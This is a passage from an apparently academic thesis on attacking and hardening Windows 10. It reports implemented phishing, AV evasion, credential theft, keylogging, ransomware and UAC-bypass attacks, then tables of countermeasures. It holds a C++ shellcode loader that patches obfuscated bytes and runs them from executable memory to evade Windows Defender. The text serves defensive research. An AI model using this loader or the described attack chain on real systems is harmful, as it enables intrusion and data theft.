2p 9F D5 FF FF sub rax, OxFFFFD59F
E2 F4 loop 0x1D

Listing 5.6.: Assembler instructions of an exploit after the obfuscation.
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user32.1ib")

::ShowWindow (: :GetConsoleWindow (), SW_HIDE);

HRSRC current_string = FindResource (NULL, MAKEINTRESOURCE (RESOURCE_ID),
— "resource_type");

HGLOBAL data_of_resource = LoadResource (NULL, current_string);

DWORD size_of_resource = SizeofResource (NULL, current_string);

void xcommand_to_execute = VirtualAlloc (0, size_of_resource, MEM_COMMIT,
— PAGE_EXECUTE_READWRITE) ;
memcpy (command_to_execute, data_of_resource, size_of_resource);

char *pointer_to_command_in_memory = (char »)command_to_execute;
char actual_byte[] = "\xFC";

memcpy (pointer_to_command_in_memory + 2, actual_byte, 1);
actual_byte = "\x83";

memcpy (pointer_to_command_in_memory + 4, actual_byte, 1);

((void (*) ())command_to_execute) ();
return 0;

Listing 5.7.: C++ code to execute the obfuscated binary.

The first operations after the two inserted NOPs are now a push and a stos instruction
(line 3-4) instead of a xor as in the first line of Listing 5.5.

Listing 5.7 shows the parts of the C++ program that restores the malware in memory.
First, we load the obfuscated malware from a resource file. Next, we replace the forged
bytes, i.e., 0xAA and 0xFF, with their original values; due to the two NOPs, they are at
offset 2 (line 19) and 4 (line 21). In the end, we execute the shell code in line 23. We combined
two techniques here: Byte-based shell code modification to evade antivirus detection [40],
and loading and executing shell code from resource files [41]. As a result, these obfuscation
techniques successfully mitigate the Windows Defender Antivirus checks.

Figure 5.2 shows our complete process. We send an email with a . doc attached. The . doc
tile contains an obfuscated VBA macro. If the user opens the file and enables the macro,
it runs a Base64-encoded PowerShell command. This PowerShell command downloads
and starts the compiled version of the C++ presented above. The compiled C++ program
also includes the resources file, loads it into the memory, patches it to create in memory the
original malware, and runs the malware afterward. Ultimately, this results in an infected
system.

The result of this section is not that we invented a new obfuscation technique nor that
our code will always be undetected. However, we used public papers and open-source
code to implement a combination of obfuscation techniques that circumvents the default
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Figure 5.2.: Evasion Process Summary.

antivirus software on Windows 10. We did not want to share —especially— this part of our
implemented attacks on an open-source platform like GitHub. However, we are willing to
share it with interested researchers. The obfuscation we implemented was part of all attacks
discussed in Section 5.3. Although it is hard to fight obfuscation, we can apply specific
configurations discussed in Section 5.4.5.

5.2.6. Credential Access

When we attack a system, we usually cannot directly attack the most exciting parts. How-
ever, we must be patient and collect the necessary data. Here, the credential access phase
comes into play. A naive way to get credentials, e.g., the administrator’s password, we
implemented is a brute-force attack. We implemented this credential access strategy for
local checking or via the Remote Desktop Protocol (RDP) and used the tool Hydra [36].

Windows systems store user credentials in memory as New Technology LAN Manager
(NTLM) hashes, but we can extract them from the Windows process 1sass.exe (Lo-
cal Security Authority Subsystem Service); we can do it manually or simply using the
tools Mimikatz [21] or Dumpert [18]. We could now try to crack the hashes, e.g., with
Hashcat [106] or CrackStation [37], to get an input resulting in the given hash. How-
ever, we can also authenticate ourselves to directories, network resources, and servers by
passing the NTLM hash again, e.g., via Mimikat z.

The following strategy we implemented targets passwords stored in web browsers.
We can extract the plaintexts of these passwords using the Nirsoft password recovery
tools [104], e.g.,

WebBrowserPassview, Chromepass,OrMail Passview. WebBrowserPassview ex-
tracts passwords from all browsers, whereas Chromepass is specifically designed for
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Google Chrome, and Mail Passview extracts passwords stored in email clients (e.g.,
Microsoft Outlook). Furthermore, we implemented an attack on WLAN security keys.

The next strategy to access credentials we implemented is based on Memory forensics,
i.e., analyzing a memory dump of a system to extract valuable information. The page file
C:\pagefile. sys islocated in the Windows root directory. If Windows needs more mem-
ory than RAM is available, it outsources data to this page file. After a system restart or crash,
Windows uses these data to restore information or speed up the boot process. However,
Windows dumps the page file without encryption to the hard drive. Moreover, Windows
uses the hibernation file C: \hiberfil.sys to store data required for recovering from
hibernation mode. Clear Memory [47] is a tool that allocates chucks of memory forcing
Windows to push data to the page file; Using like tools, e.g., AccessData FTK Imager,
RawCopy [102], or Hobocopy [1], we can then analyze the page file and hibernation file.

Another credential access strategy is to use file carving to reconstruct files from a memory
dump, e.g., from a page or hibernation file, using tools like Scalpel [13], Foremost [48],
and PhotoRec [31]. We implemented several credential access strategies to use these tools
to extract data and even images from a page file.

Our next credential access strategy focuses on BitLocker. BitLocker is a software for full
volume encryption included in the Windows 10 We can use a numerical PIN, a password or
a key on a Trusted Platform Module (TPM). However, many hardware-based encryption
techniques used in SSDs had severe security flaws regarding their encryption mechanisms
in the past, potentially enabling access to the stored data without the victim’s password [64].
Furthermore, there are techniques to sniff the key from a TPM 2.0 (as well as TPM 1.2)
device by using a logic analyzer if we can manipulate the hardware [2]. Due to the missing
hardware and hardware skills, we could not implement this attack ourselves. However, we
will discuss the ramifications of such an attack later in Section 5.4.6.

There are many different ways to harvest credentials on a Windows 10 system, and we
have implemented a couple of them. However, some of them can be completely blocked
by security configuration, while others are way more difficult; we will present them in
Section 5.4.6.

5.2.7. Command and Control

This section describes the strategy we implemented for commanding and controlling our
attacks. The acquisition of a remote console allows an attacker to execute any MS-DOS
commands on a machine. Most exploits can be launched remotely using the command
line directly, PowerShell scripts, or downloading and running files from a web server. The
advantage is that the malicious program code is not in the payload dropped and executed
initially onto the system by the users. The initial payload only establishes the remote
connection that grants the attackers control over the system.

Files from less secure sources, e.g., if a browser has downloaded them, undergo more
rigorous security checks on Windows. However, they will face way less rigorous checks if
we download them via PowerShell. Thus, we can use PowerShell to download and run
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Figure 5.3.: Command-and-Control Process.

our malware. The first step here is usually to establish a reverse TCP connection to our
command-and-control server; We can run any command on the victim’s machine after
establishing this reverse TCP connection.

Figure 5.3 shows how our command-and-control process looks like. Our command-and-
control process starts after the infiltration depicted in Figure 5.2. The infected computer
downloads and starts via PowerShell our malicious program to establish the reverse TCP
connection. From the outside, this looks like a standard TCP connection to any server but
enables us as attackers to run arbitrary commands on the machine. We implemented this
using Metasploit payloads. For these payloads, we can select between staged payloads and
stageless payloads. Staged payloads only contain the minimum of code needed to allocate
memory, download the rest of the code, make it executable, run it, and thus establish the
reverse TCP connection. Stageless payloads are bigger since they include directly all the
code needed to establish the TCP connection. We could only successfully attack Windows 10
instances with obfuscated, stageless payloads since Windows Defender Antivirus detected
all staged handlers immediately.

During the implementation of our attacks, the command-and-control phase was mainly
part of other activities. However, we think it is crucial to understand it as a distinct part of
the attack and, thus, find configuration settings, e.g., the ones presented in Section 5.4.7 for
this phase.

5.2.8. Impact

For our last phase, we implemented several methods to have an impact on a potential system
user. Attacks can have many different motivations and goals. Even if we cannot block an
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Window: 'Mozilla Firefox'

PAYPAL.COM[RETURN]

Window: 'Send Money, Pay Online or Set Up a Merchant Account - PayPal - Mozilla Firefox'
[LMOUSE]

Window: 'Mozilla Firefox'

Window: 'Log in to your account - Mozilla Firefox'

[LMOUSE ] YOURUSER [LMOUSE ] THISCOULDBEYOURPASSWORD

[RETURN]

Listing 5.8.: Collected user data.

attacker from accessing our system but block his goal, we might still successfully defend
our system.

Suppose attackers acquire administrative privileges via one of the techniques discussed
in Section 5.2.4. In that case, they can turn off existing defense mechanisms and prepare the
system for further exploitation. They can entirely turn off the Windows Defender Antivirus
or exclude paths. The latter option will likely remain undetected by the user and does
not require a reboot. Furthermore, they can uninstall Antivirus software silently without
notifying the user.

In our experiments, we could use the Windows system command-line utility certutil
to download malicious files disguised as Base64-encoded . t xt files [65]. Next, we created
different programs, e.g., a keylogger, to monitor a potential victim’s future behavior to get
sensitive information. Listing 5.8 shows what kind of information we could collect with the
open-source keylogger tool [63] for Windows. One can see the used program, the title of the
visited site, and clicks and entered characters. After collecting these data, we can use them
to get more data or expand our attack. Suppose we use a keylogger with a screen capture
tool. In that case, we can align the entered passwords with the visited sites, e.g., to take a
screenshot after the online banking password was entered. The multipurpose tool ffmpeg
was beneficial for this attack vector.

Next, we implemented an attack strategy to access a potential victim’s camera via
Command Cam [11]. An actual attacker could use such an attack to gather sensitive material
to blackmail victims or search for passwords on sticky notes. The last impact attack vector
we implemented considered Ransomware, more precisely cryptoviral extortion. Here, the
malware encrypts the victim’s files, usually using a symmetric key, and demands a ransom
in exchange for the key to decrypt the files again. Ransomware usually sends the decryption
key to an attacker-owned server before encrypting the files and deletes it permanently from
the system after the encryption; otherwise, the victim could recover the key and decrypt the
files without paying the ransom. We implemented the ransomware for our experiments in
Python using AES in Counter Mode. To our surprise, Windows Defender Antivirus did not
flag the resulting program as malicious. The scans only identify programs as ransomware
already known and existing in the antivirus signature databases, not custom-made and
newly written ones.

As demonstrated, we implemented several ways of getting sensitive data from the user
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or harming the user. Our ransomware might not be fast or sophisticated, but it shows how
easy it is to write such malware. How we can protect our privacy and data against these
attacks will be discussed in Section 5.4.8.

After discussing the different phases of attacks separately, we will combine them into full
attacks consisting of several phases.

5.3. Evaluation of the resulting attacks

As already mentioned, we implemented all the different attack strategies discussed in
Section 5.2. We executed them successfully as they are. However, we composed some
of them into full attacks and tested thiese full attacks on a Windows 10 instance used at
the Technical University of Munich (TUM). We used this configuration to have a realistic
target. Most employees at the TUM use Windows 10 on their workplace PCs. If they
use it, most of them use a preconfigured version called TUM-PC. Setting up Windows 10
and installing standard software like the Microsoft Office suite is a repetitive and time-
consuming task. Thus, the goal of TUM-PC is to automate the setup of Windows clients
as much as possible and reduce the time the administrators at the chairs need to do so.
The TUM-PC also includes some preinstalled software, e.g., the Microsoft Office suite and
an additional antivirus software. They state on their website [57] explicitly that they do
not configure everything and that the administrators of the chairs have to configure some
parts themselves including everything related to security. In practice, as stated earlier in
this thesis, the administrators may not have the knowledge and may have other priorities,
and thus, the used TUM-PCs are kept in their insecure initial configuration. However, we
assumed that the additional antivirus software would potentially make the attacks working
on a Windows 10 in the default configuration more difficult or impossible.

We discuss the following five attacks. We recorded each attack so that one can rewatch
the attack.
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¢ Ransomware: we encrypt all data on the computer of our fictive victim.!
* Password extraction: we steal passwords stored on the computer of our victim.?

¢ Keylogger: we run a software that tracks all keys the victim is entering on the key-
board.?

» UAC-Bypass: we get administrator privileges if the user is a local administrator.*

¢ Phishing: the victim opens a fake website and their system is compromised, e.g., via a
forged plugin.®

5.3.1. Ransomware Attack

As initial access, we chose a forged email with an attached . doc file. To make the email look
legitimate we reused a text that is sent each semester to all employees at the TUM. Since the
real email with this text always has an attached document, there is a high chance that many
employees would open the attachment. In the attachment, there was an included malicious
macro. Since we applied the techniques discussed in Section 5.2.5, neither the Windows
Defender Antivirus nor the professional antivirus software could detect the malicious
intent of the macro; we could trick the professional antivirus software even easier than the
Windows Defender Antivirus. Thus, the only protection is the banner of Word stating that
there is a macro included in this document and asking whether the user wants to execute
this macro. Existing case studies [74] show that many employees simply click on Enable,
especially when Microsoft Office macros are widely used in the corporate environment.
In the recording, one can see the macro downloading the real malware from a file server
we have set up, e.g., mainly serves as a file dropper (see Section 5.2.5). With the downloaded
program, we establish a reverse TCP connect to the computer of the victim and can open a
remote shell there. Next, we download the program with ransomware and execute it. One
can see the result in the recording: all documents are now encrypted. The next step of the
attack would now be to either show some hint to the victim or to send an email describing
how they should send us the ransom to retrieve the key for the decryption of the data.

5.3.2. Password extraction

For this attack, we used the same Initial Access vector as in Section 5.3.1. One can see in the
recording that we download two other programs in the background namely filel.exe
and file2.exe. The first program extracts the password from email clients, e.g., Outlook,
the second program extracts the passwords from web browsers, e.g., Firefox. Both programs

ltum.cloud.panopto.eu/Panopto/Pages/ Viewer.aspx?id=19cc4d89-8cb9-422e-8152-ac5a01489d4d
2tum.cloud.panopto.eu/Panopto/Pages/ Viewer.aspx?id=6a21665d-d5f3-4c72-b887-ac5a01489d20
3tum.cloud.panopto.eu/Panopto/Pages/ Viewer.aspx?id=6f51ce95-1ffb-49f1-b98a-ac5a01489ce4
4tum.cloud.panopto.eu/Panopto/Pages/ Viewer.aspx?id=5¢28994d-3484-49be-aa74-ac5a0148a0ec
Stum.cloud.panopto.eu/Panopto/Pages/ Viewer.aspx?id=e8383256-c767-4be6-8f19-ac5a01489ca5
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write the results in texts files and post them afterward to our file server. We can then inspect
the credentials on our machine. Since most universities like the TUM use Single Sign-On
solutions, we as attackers can now not only read the victim’s emails, but also use any other
service of the university. For example, if a secretary clicked on it, the attacker could upload
fake student grades. Additional security measures like two-factor authentication (2FA) or
even multifactor authentication (MFA) could mitigate this threat. However, they have not
been implemented yet at the TUM. None of the both programs triggered any warning on
the machine of the victim. Thus, the victim would in this case not even know that they have
been attacked in contrast to the ransomware attack.

5.3.3. Keylogger

Again, we use our file dropper to infect the system, and we download and run the key . exe
program. This program does—-as the name suggests—log the keys entered on the keyboard
and where the victim has entered them. It stores this information in a small log file and
uploads them to our file server. Next, we open a website on the victim’s machine and enter
our username and password. Later, we can inspect the log file on our own machine and
see the username and the password of the victim entered on the website. Again, antivirus
software software on the system does not stop or report the program, although we used
existing and known components from Metasploit.

5.3.4. User-Account-Control-Bypass

The next attack is a UAC-bypass to get administrator privileges. For this attack, we use an
existing reverse TCP connection with a remote shell. We exploit for this attack a known
problem in Windows 10 described in Section 5.2.4. Here, we set two registry keys to
exploit that vulnerability and get administrator privileges. In our example case, we use
the sdclt.exe to execute the attack. It is the GUI associated with the Backup and Restore
utility of Windows and, thus, signed and validated by Microsoft. One can see that in
contrast to the first shell, the second shell has administrator privileges. We could now do
even more damage than before, e.g., install new software permanently.

5.3.5. Phishing and Fake Website

In the fifth attack, we used existing Metasploit components to create a fake TUM website.
The website claims to offer an offline learning software. One can see in the video how the
website presents fake missing-plugin-warnings to the victim to trick them into installing
malicious software. Again, there is only the hint that the program is not signed, but no
warning that the downloaded program is malicious.
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5.3.6. Summary

The five presented attacks represent the rest of the attack strategies we implemented. They
show that we can implement and execute real-world attacks on state-of-the-art Windows 10
using publicly available information. Moreover, our attacks showed that the configuration
of the TUM-PC was as vulnerable as the Windows 10 default configuration. Thus, our
assumption that systems used in the corporate context are more securely configured than
systems used in private households was wrong, at least in the case of the TUM-PC. Next,
as discussed already in Section 5.2.5, it was easier to fool the additional antivirus software
than the Windows Defender Antivirus.

However, just implementing those attacks is not the ultimate goal of this chapter (and
would not be related to security configuration). Thus, we took all full attacks and the
different attack strategies we implemented and analyzed them, and how we could prevent
them via configuration settings.

5.4. Countermeasures

After implementing the different attacks and attack strategies, the critical question for
this chapter and this thesis in general was: Can we do something against these attacks
with configuration hardening? Suppose some settings make specific attacks we have
implemented more difficult or impossible. In that case, we have at least some arguments
to change the default configuration in this setting. Since we could implement the attacks,
everybody with a similar computer science background could do this. Thus, they are a real
threat to most organizations or companies.

Our process to find the configuration countermeasures in the section was the following.
After implementing the attack strategies, we searched for countermeasures against these
attack strategies in security-configuration guides and other Windows hardening recommen-
dations. For each configuration countermeasure, we executed the attack strategy, applied
the countermeasure, and re-executed the attack strategy. If we could still run the attack
strategy, the countermeasure would fail. If the attack is no longer possible, we add the
countermeasure to our list of successful countermeasures.

We present these successful countermeasures in the order of the ATT&CK phases.

5.4.1. Initial Access

Again, we start with the initial access. We compiled all measures that limit the initial access
of the attacks in Table 5.2.

Our first attack strategy in Section 5.2.1 was sending phishing mails. We can fight this
by showing emails in plaintext, i.e., Read e-mail as plain text. It might be ugly, but most
employees would avoid clicking on suspicious URLs in the email text.

Against the next strategy, i.e, the downloading of malicious files, we have more defensive
settings in the table, e.g., Microsoft Edge: Allow download restrictions. They prevent the user
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Configuration Setting

Secure Value

Security Impact

(Potential) Side Effects

Explorer: Configure  Win-
dows  Defender  Antivirus
SmartScreen

Warn and prevent
bypass

Malicious programs cannot run

Executables that are unknown
or custom-made cannot run

Install a browser plug-in to
block unwanted content like ma-
licious scripts or unwanted ads

Use options like
NoScript or uBlock
Origin

Depending on the plug-in, no
ads, etc.

Enabling scripts on benign sites
is tedious

Internet  Explorer: Prevent Enabled Malicious websites are blocked Some benign websites might be
bypassing SmartScreen Filter unavailable

warnings

Internet  Explorer: Prevent Enabled Downloaded malware cannot Some benign, downloaded soft-
bypassing SmartScreen Filter run ware might be blocked
warnings about files that are not

commonly downloaded from

the Internet

Microsoft Edge: Allow down-  Enabled Dangerous files cannot be down- ~ Some benign files cannot be
load restrictions loaded downloaded

Microsoft Edge: Configure Enabled Dangerous files cannot be down- ~ Some benign files cannot be
Windows Defender Antivirus loaded downloaded

SmartScreen

Microsoft Edge: Prevent by-  Enabled Malicious websites are blocked Some benign websites might be
passing Windows Defender An- unavailable

tivirus SmartScreen prompts for

sites

Microsoft Edge: Prevent by-  Enabled Dangerous files cannot be down- ~ Some benign files cannot be
passing of Microsoft Defender loaded downloaded

SmartScreen warnings about

downloads

Prevent users and apps from ac-  Enabled Malicious websites — according Some non-malicious websites
cessing dangerous websites to Microsoft — are blocked might be unavailable

Read e-mail as plain text Enabled Malicious URL links are visible Plaintext emails are hard to read
Read signed e-mail as plain text Enabled Malicious URL links are visible Plaintext emails are hard to read
Turn off the WebSocket Object Enabled WebSockets cannot be used for ~ Benign websites using WebSock-

establishing a connection dur-  ets will not work

ing an attack

Table 5.2.: Configurations against the initial access vectors.

from downloading and/or executing files from the internet. Of course, one can argue
that this limits the user of the system enormously. However, we would argue that most
employees —developers explicitly excluded— use the same software every day and only
rarely install new software.

Especially the do-not-run-a-downloaded-exe settings in the table could have stopped our
attacks at this early stage.

5.4.2. Execution

All our rules to block the execution of the attack are in Table 5.3. Against the first spoof
strategy mentioned in Section 5.2.2, we can turn off the Hide Known File Extensions setting.
However, we could not find a configuration that helps against the RTLO attack strategy:.
Most of the configurations in Table 5.3, e.g., Explorer: Configure Windows Defender Antivirus
SmartScreen, simply block the execution of downloaded or unknown programs, which
would also block the RTLO attack strategy Furthermore, disabling of PowerShell might
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reduce the risk to the system without affecting most non-developer users.

If we cannot or do not want to block the execution of unknown programs entirely, we can
again limit what the users can run, e.g., via ASR rules presented in Table 5.3. These rules
allow us to configure in detail what kind of programs we want to allow on a system, e.g.,
whether the programs have to have a certain age or a valid signature. Some of them might
be too harsh for typical environments; others, e.g., Block untrusted and unsigned processes that
run from USB, should be active on all systems. The latter configuration successfully blocked
our attack strategy via a USB stick and the autorun.inf.

In the end, the different measures in Table 5.3 could block the presented attack strategies
and, thus, stop the attack, although a stressed employee has opened a Word document with
malicious macros or tried to start a downloaded . exe.

5.4.3. Persistence

For the next set of countermeasures, we assume that the attacker has successfully established
their initial access and could start their attack, because the administrators did not establish
the countermeasures mentioned in Table 5.2 and Table 5.3. However, we can still implement
the countermeasures in Table 5.4 to persist their attack. We shortly want to point out why
this is still important, although the attacker can already run programs at this point. Modern
cyber criminals like the creators of Emotet try to infect as many systems as possible in an
automated or semi-automated way. They spread malicious macros attached to Word or
Excel files send via emails. If a victim opens such a document, the automated spreading
would directly send new emails with the infected document to all or random contacts of
the victim; sometimes even replying on existing discussion. Furthermore, the malicious
script tries to create a persistent backdoor at this point.

Theoretically, the malicious script could, at this point, directly encrypt the SSD. However,
the victim could have a backup, and the criminals would not earn anything. Thus, infecting
the systems automatically and then using the persistent backdoor to access the system is
more lucrative. The attackers can then look for information to identify the infected systems,
recognize whether this is a private computer or a workplace, and assess the value they
could extort from the affected company. Suppose they decide the company is prominent
and wealthy enough to pay the ransom. In that case, they start the semi-automatical part
of the attack, where they try to collect administrators’ credentials via keyloggers, et cetera,
and destroy existing or sabotage ongoing backups. This process is usually unique for one
attacked company, this cannot be completely automated, and thus the attacker needs a
persistent backdoor. We, as administrators, can block them from establishing this backdoor.
In that case, they might run their automated script, but as soon as the system restarts
—ideally every evening- the attack is over. This defense-in-depth strategy is why we fight
the persistence of the attack as well and do not give up after the execution.

One measure as mentioned in Table 5.4 is to limit the persistence of an attack is to prevent
standard users from scheduling tasks. On the one hand, scheduled tasks are a handy tool
to automatically do certain tasks. Thus, removing this feature will restrict the users. On
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Configuration Setting

Secure
Value

Security Impact

(Potential) Side Effects

ASR Rule: Block ex-
ecutable content from
email client and web-
mail

1

Systems cannot be com-
promised by attackers
using executable files as
email attachments

Employees cannot share
executables via emails

ASR Rule: Block exe-
cutable files from run-
ning unless they meet
a prevalence, age, or
trusted list criterion

New and unknown mal-
ware cannot run

New and unsigned, but
benign software cannot
run

ASR Rule: Block un-

Blocks attacks using in-

Employees cannot share

trusted and unsigned fected USB sticks executables via USB
processes that run from sticks
USB
Explorer: Configure  Warn and Malicious programs  Executables that are un-
Windows Defender prevent cannot run known or custom-made
Antivirus SmartScreen bypass cannot run
Hide Known File Exten- Disabled Blocks fake-extension = Some employees are an-
sions attacks noyed by the file suf-
fixes

Internet Explorer: Enabled Malicious websites are  Some benign websites
Prevent bypassing blocked might be unavailable
SmartScreen Filter
warnings
Internet Explorer: Enabled Downloaded malware Some benign, down-
Prevent bypassing cannot run loaded software might
SmartScreen Filter be blocked
warnings about files
that are not commonly
downloaded from the
Internet
Microsoft Edge: Allow Enabled Dangerous files cannot  Some benign files can-
download restrictions be downloaded not be downloaded
Microsoft Edge: Config- Enabled Dangerous files cannot Some benign files can-
ure Windows Defender be downloaded not be downloaded
Antivirus SmartScreen
Microsoft Edge: Prevent  Enabled Dangerous files cannot ~ Some benign files can-
bypassing of Microsoft be downloaded not be downloaded
Defender SmartScreen
warnings about down-
loads
Windows PowerShell: Allow Blocks most PowerShell-  Employees cannot use
Turn on Script Execu- only based attacks PowerShell without
tion signed signing the scripts

scripts/Allow

local

scripts

and

remote

signed

scripts

Table 5.3.: Configurations against the execution vectors.
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Configuration Setting Secure Security Impact (Potential) Side Effects
Value

ASR Rule: Block pro- 1 Blocks the persistence Employees cannot use

cess creations originat- via WMI WMI to schedule tasks

ing from PSExec and
WMI commands

Remove (RX) permis- n/a Attackers cannot persist ~Employees without
sions for schtasks.exe without administrative  privileges cannot sched-
from standard users privileges ule tasks

Table 5.4.: Configurations against the persistence vectors.

the other hand, most users do not use these scheduled tasks at all. The second measure
to limit the risk of persistence drastically is the ASR rule Block process creations originating
from PSExec and WMI commands. However, we can only apply this setting in a workspace
environment if the administrators do not use the WMI themselves. In a private context, we
can apply this without much cost since most private users do not use the WMI at all.

With the two presented measures, we could prevent the persistence strategies discussed
in Section 5.2.3.

5.4.4. Privilege Escalation

Similar to the previous chapter, we assume that the attacker can run scripts or programs
but is now trying to get more privileges. The most straightforward countermeasure against
the escalation strategies presented in Section 5.2.4 is creating a user without administrator
privileges and logging in only with this user. Suppose we are logged in as this user
and get tricked into opening a malicious document. In that case, the attacker cannot get
immediate administrator access. Furthermore, we can restrict access to the registries via
Prevent access to registry editing tools / Disable Regedit from running silently. Especially on a
private computer, we can block the attack strategy to insert the program to be run in the
registries to exploit the auto-elevation function of Windows. In a corporate environment, we
might not want the total restriction of the registries since the administrators might change
something in the registries. The most obvious measure is that only signed and validated
executables are elevated, i.e., UAC: Only elevate executables that are signed and validated in
Table 5.5. This small configuration blocked the elevation of our forged binaries and, thus,
blocked our attack strategies. We could not see a use case where non-developers must run
unknown programs in an elevated context. However, there might be cases, but temporary
administrator interventions can resolve that.

Thus, we could prevent all the discussed privilege escalation strategies with one of the
measures presented in Table 5.5.

104



5. Attacking Unhardened Windows 10 Instances

Configuration Setting Secure Security Impact (Potential) Side Effects
Value

Only login as user with n/a Blocks auto-elevation Switching users for ad-

standard privileges ministrative tasks is te-

dious

Prevent access to reg- Enabled /  Blocks registry-based el- Benign programs using

istry editing tools / Dis-  Yes evation the registry might break

able regedit from run-

ning silently

UAC: Only elevate exe- Enabled Blocks all attacks, unless ~ Unsigned programs can-

cutables that are signed
and validated

the attacker has a valid
signing certificate

not perform administra-
tive tasks

Table 5.5.: Configurations against the privilege escalation vectors.

5.4.5. Defense Evasion

This section assumes that the victim starts the program or that the initial malicious program
is already running. However, the antivirus software is still active on the machine, scans
files and activities, and might stop the attack at any point. As presented in Section 5.2.5, we
could use obfuscation to circumvent the Windows Defender Antivirus. The defense evasion
was the attack phase for which we could find almost no configuration value to increase the
security. The only setting presented in Table 5.6 is Enable svchost.exe mitigation options. 1f
this setting is enabled, attackers can no longer inject their malicious code into a running
svchost.exe. However, this did only stop one of our attack strategies; the primary strategy
described in Section 5.2.5 was not affected by this. Thus, we must admit that configuration
hardening on the Windows level cannot prevent the defense evasion.

5.4.6. Credential Access

Similar to Section 5.4.4 and Section 5.4.2, we assume that the attack is already running.
However, the privilege escalation failed initially, and the attackers are trying to get admin-
istrators’ credentials to proceed with their evil plan. Since the defense evasion strategies
could not be blocked, there is no risk of being detected by the antivirus software.

Some of the settings we collected in Table 5.7, e.g., Account lockout threshold or Account
lockout duration, should slow down brute-force attacks against passwords or PINs. Although
these attacks are slower than most other attacks, we could block our brute-force attack

Configuration Setting Secure Security Impact (Potential) Side Effects
Value
Enable svchost.exe miti- Enabled Blocks the injection into  n/a

gation options the svchost process

Table 5.6.: Configurations against the defense evasion vectors.
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Configuration Setting Secure Value Security Impact (Potential) Side Effects

ASR Rule:  Block credential 1 Attacker cannot extract NTLM n/a

stealing from the Windows lo- hashes

cal security authority subsystem

(Isass.exe)

ASR Rule: Block executable files 1 New and unknown malware New and unsigned, but benign

from running unless they meet cannot run software cannot run

a prevalence, age, or trusted list

criterion

NTEFS: Enable NTFS pagefile en-  Enabled Extraction via pagefile is not Reduced performance

cryption possible

Account lockout duration Configure Slows down brute-force attacks Employees who do not remem-
ber their entire password cannot
work for some time

Account lockout threshold Configure Slows down brute-force attacks Employees who do not remem-
ber their entire password cannot
work for some time

Block known malicious executa- ~ Disallowed Attackers have to use other tools Users cannot use these tools

bles via Windows Defender Appli- or repackage them

cation Control Hash Rule

Configure minimum PIN length >10 Slows down brute-force attacks Employees might forget the

for startup longer PIN

Configure use of hardware- Disabled Attackers cannot extract data Reduced performance, special

based encryption for fixed data from a stolen device hardware needed

drives

Configure use of hardware- Disabled Attackers cannot extract data Reduced performance, special

based encryption for operating from a stolen device hardware needed

system drives

Configure use of hardware- Disabled Attackers cannot extract data Reduced performance, special

based encryption for removable from a stolen device hardware needed

data drives

Configure use of passwords for Require Attackers cannot extract data Reduced performance, hard to

fixed data drives password from a stolen device recover if key is lost

for fixed
data drive
/ Require

password

complexity
Configure use of passwords for Require Attackers cannot extract data Reduced performance, hard to
operating system drives password from a stolen device recover if key is lost

complexity
Configure use of passwords for Require Attackers cannot extract data Reduced performance, hard to
removable data drives password from a stolen device recover if key is lost

for

removable

data drive

/ Require

password

complexity
Disable remember password forIn- ~ Disabled No email passwords to steal Entering the email password ev-
ternet e-mail accounts ery day is tedious
Disable Password Managers for Disabled No website passwords to steal Entering every website pass-

web browsers

word is tedious

Table 5.7.: Configurations against the credential access vectors.
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Configuration Setting

Secure Value

Security Impact

(Potential) Side Effects

Minimum password length Configure Slows down brute-force attacks Employees might forget the
longer password
Minimum PIN length Configure Slows down brute-force attacks Employees might forget the
longer PIN
Password must meet complexity Enabled Slows down brute-force attacks Employees might forget the
requirements longer password
Remove (RX) permissions for  n/a Blocks non-privileged attacks to ~ Employees cannot use the tool
netsh.exe from standard users sniff Wi-Fi credentials
Require additional authentica-  Require Attackers cannot extract data Reduced performance, hard to
tion at startup startup from a stolen device recover if key is lost
(key and)
PIN with
TPM
Require digits Enabled Slows down brute-force attacks Employees might forget the
more complex password
Require lowercase letters Enabled Slows down brute-force attacks Employees might forget the
more complex password
Require special characters Enabled Slows down brute-force attacks Employees might forget the
more complex password
Require uppercase letters Enabled Slows down brute-force attacks Employees might forget the
more complex password
Reset account lockout counter ~ Configure Brute-force attacks practically ~ Organizational overhead for un-
after impossible locking the locked accounts
Shutdown: Clear virtual mem-  Enabled Attacker cannot extract data  Reduced performance

ory pagefile

from pagefile/hibernation file

Table 5.8.: Configurations against the credential access vectors II.

strategies with these rules.

Countering the attack strategy of stealing the NTLM hashes was straightforward since
there is an ASR Block credential stealing from the Windows local security authority subsystem
(Isass.exe). We do no know why this is not the default setting, but we suspect some legacy
systems might rely on this function.

Furthermore, we compiled in Table 5.7 several rules, e.g., Disable Password Managers
for web browsers several settings that reduce the credentials stored on the system. These
configurations obviously blocked our attack strategy of stealing passwords stored in web
browsers. However, they have non-technical implications, such as weaker passwords, since
users must memorize and type them repeatedly. Thus, we can only partially recommend
them. Another strategy against those attacks is to explicitly block the publicly known tools
for these tasks via AppLocker or Windows Defender Application control rules. However,
the attacker can modify the binaries. Thus, we could not find a working and universally
recommended configuration measure to fight these attack strategies.

In contrast to the negative result of credential extraction attacks before, it was relatively
easy to block our attack strategies based on hibernation and page file. As mentioned in
Table 5.7, there are the two settings Shutdown: Clear virtual memory pagefile and NTFS: Enable
NTEFS pagefile encryption. Those settings effectively blocked our attack strategies based on
extracting from page or hibernation files.

As stated in Section 5.2.6, we did not implement the hardware-based attack strategies
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Configuration Setting Secure Security Impact (Potential) Side Effects
Value

Block connections n/a Attackers cannot use Users cannot download

from cmd.exe with cmd for establishing a  files with cmd

a Windows Firewall connection

Outbound Rule

Table 5.9.: Configurations against the command and control vectors.

on the TPM. Thus, the recommendations in Table 5.7 that refer to the TPM are the only
configurations we could not evaluate ourselves. However, the results of the studies [2,
64] suggest that setting a long and complex password or PIN and using software-based
encryption can effectively block these attacks.

The result of the evaluation of configuration measures against our credential access strate-
gies is mixed. On the one hand, we could block some of our attacks with configurations,
e.g., the page or hibernation file extraction. On the other hand, we could not find practical
configurations that block the extraction of credentials from mail programs or browsers.

5.4.7. Command and Control

Our command-and-control attack strategies involve to execute programs. Thus, some rules
from Table 5.3, e.g., to block scripts or only run certain scripts, block the command-and-
control parts of our attacks as well. Apart from these rules, we can the Windows firewall
to block outbound traffic, e.g., from the cmd. exe or PowerShell. However, it is deputable
how practical this rule is; it might be that the administrators of the systems need scripts
PowerShell that also need outbound traffic. Similar to Section 5.4.5, we could not block this
part of our attacks with practical configuration measures.

5.4.8. Impact

For this last phase, we assume that the attackers can interactively execute their scripts and
code on our system, but they do not have administrative access; otherwise, they could
change the configuration of Windows 10 and remove the measures we collected in Table 5.10
at the end of this chapter. Similar to previous steps, any limitation to what programs can run
